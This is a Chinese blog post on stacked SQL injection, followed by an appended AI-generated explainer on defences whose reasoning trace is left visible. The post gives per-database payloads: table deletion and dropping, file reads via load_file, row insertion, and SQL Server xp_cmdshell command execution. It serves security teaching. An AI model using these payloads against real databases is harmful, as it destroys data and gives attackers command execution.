Stacked injection--堆叠注入--堆查询注入

本文介绍了SQL注入的一种形式——堆叠注入的技术原理及其在不同数据库环境中的应用案例。堆叠注入允许攻击者通过追加新的查询或终止现有查询来实现数据篡改及存储过程调用。文章还探讨了该技术的局限性,并对比了联合注入的不同之处。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Stacked injection--堆叠注入--堆查询注入

原文地址;http://www.sqlinjection.net/stacked-queries/   本篇属于集合原作者的思路和个人想法结合的一篇产物。Stacked injection 汉语翻译过来后,国内有的称为堆查询注入,也有称之为堆叠注入。个人认为称之为堆叠注入更为准确。堆叠注入为攻击者提供了很多的攻击手段,通过添加一个新 的查询或者终止查询,可以达到修改数据和调用存储过程的目的。这种技术在SQL注入中还是比较频繁的。

0x01 原理介绍

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

0x02 堆叠注入的局限性

堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。

Ps:此图是从原文中截取过来的,因为我个人的测试环境是php+mysql,是可以执行的,此处对于mysql/php存在质疑。但个人估计原文作者可能与我的版本的不同的原因。虽然我们前面提到了堆叠查询可以执行任意的sql语句,但是这种注入方式并不是十分的完美的。在我们的web系统中,因为代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的。因此,在读取数据时,我们建议使用union(联合)注入。同时在使用堆叠注入之前,我们也是需要知道一些数据库相关信息的,例如表名,列名等信息。

0x03 各个数据库实例介绍

本节我们从常用数据库角度出发,介绍几个类型的数据库的相关用法。数据库的基本操作,增删查改。以下列出数据库相关堆叠注入的基本操作。

  1. 一. Mysql

(1)新建一个表 select * from users where id=1;create table test like users;

执行成功,我们再去看一下是否新建成功表。

  1. 2. 删除上面新建的test表select * from users where id=1;drop table test;
  1. 3. 查询数据select * from users where id=1;select 1,2,3;

加载文件  select * from users where id=1;select load_file('c:/tmpupbbn.php');

  1. 4. 修改数据select * from users where id=1;insert into users(id,username,password)

values('100','new','new');

  1. 二. Sql server

  1. 1. 增加数据表select * from test;create table sc3(ss CHAR(8));
  1. 2. 删除数据表select * from test;drop table sc3;

(3)查询数据select 1,2,3;select * from test;

  1. 4. 修改数据select * from test;update test set name='test' where id=3;
  1. 5. sqlserver中最为重要的存储过程的执行

select * from test where id=1;exec master..xp_cmdshell 'ipconfig'

  1. 三. Oracle

上面的介绍中我们已经提及,oracle不能使用堆叠注入,可以从图中看到,当有两条语句在同一行时,直接报错。无效字符。后面的就不往下继续尝试了。

  1. 四. Postgresql

  1. 1. 新建一个表    select * from user_test;create table user_data(id DATE);

可以看到user_data表已经建好。

  1. 2. 删除上面新建的user_data表select * from user_test;delete from user_data;
  1. 3. 查询数据select * from user_test;select 1,2,3;
  1. 4. 修改数据 select * from user_test;update user_test set name='modify' where name='张三';

转载于:https://www.cnblogs.com/lcamry/p/stacked_injection.html

<think>好的,用户想了解堆叠注入stackedinjection)的定义以及如何处理相关问题。首先,我需要回忆堆叠注入的基本概念。堆叠注入是一种SQL注入攻击方式,允许攻击者通过一次输入执行多个SQL语句,通常利用分号分隔各个语句。例如,用户输入可能包含';DROP TABLEusers;--'这样的恶意代码,导致执行多个命令。接下来,我需要确保定义准确。根据引用[4],堆叠注入在SQLi-LABS的Page-3部分有涉及,例如Less-38到Less-45。示例中的代码展示了如何通过堆叠注入更新数据,如update语句。因此,堆叠注入的核心是执行多条SQL语句,这可能带来更严重的破坏,比如数据删除或结构修改。然后,处理堆叠注入的方法需要考虑几个方面。首先是输入过滤,防止分号等特殊字符的传入。参数化查询也是关键,因为它将输入视为数据而非代码,避免语句拼接。此外,数据库权限控制也很重要,限制应用账户的权限,减少攻击影响。引用[1]提到SQL注入的核心是未经验证的输入被解析执行,所以验证和过滤用户输入是基础。用户可能还关心实际例子,比如如何检测和防御堆叠注入。需要结合代码示例,比如使用预处理语句而不是直接拼接SQL。例如,在PHP中使用PDO的prepare和execute方法。同时,错误处理的配置也很重要,避免泄露敏感信息。 最后,生成相关问题时要覆盖定义、原理、防御方法、实际案例和权限管理等方面,帮助用户全面理解堆叠注入。确保问题引导深入思考,比如与其他注入类型的区别,或者具体框架中的防御措施。</think>### 堆叠注入Stacked Injection)的定义与处理方法 #### 一、堆叠注入的定义 堆叠注入Stacked Injection)是SQL注入的一种高级形式,攻击者通过分号`;`分隔多条SQL语句,使数据库依次执行多个恶意操作[^4]。例如: ```sql SELECT * FROM users; DROP TABLE logs; -- ``` 这里攻击者通过注入`; DROP TABLE logs; --`,在原有查询后追加删除表的操作。堆叠注入的危害性显著高于普通注入,因为它可以执行任意数据库命令(如数据篡改、权限提升、文件读写等)[^1]。 #### 二、堆叠注入的核心原理 1. **语句分隔符滥用**:利用分号`;`实现多语句拼接。 2. **未过滤输入**:应用程序未对用户输入的分号或特殊符号进行过滤[^3]。 3. **数据库支持多语句执行**:部分数据库(如MySQL、PostgreSQL)允许单次请求执行多个语句。 #### 三、防御堆叠注入的方法 1. **严格输入过滤** - 禁止用户输入中包含分号`;`、注释符`--`等敏感符号。 - 示例代码(Python): ```python def sanitize_input(input_str): if ';' in input_str: raise ValueError("非法字符") return input_str ``` 2. **参数化查询(预编译语句)** 使用参数化查询替代直接拼接SQL语句,确保输入数据仅作为参数处理,而非代码逻辑。例如在PHP中: ```php $stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id"); $stmt->bindParam(':id', $user_input); $stmt->execute(); ``` 3. **数据库权限最小化** - 限制应用程序数据库账户的权限,禁止执行`DROP`、`UPDATE`等高危操作。 - 示例:MySQL中仅授予`SELECT`权限: ```sql GRANT SELECT ON database.* TO 'app_user'@'localhost'; ``` 4. **禁用多语句执行功能** -数据库配置中关闭多语句执行支持(如MySQL的`multi_statements`参数)。 #### 四、实际案例分析 引用[4]中的示例代码: ```sql SELECT * FROM user_test; UPDATE user_test SET name='modify' WHERE name='张三'; ``` 攻击者通过注入`UPDATE`语句直接篡改数据。若应用程序未过滤分号,此操作将成功执行。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值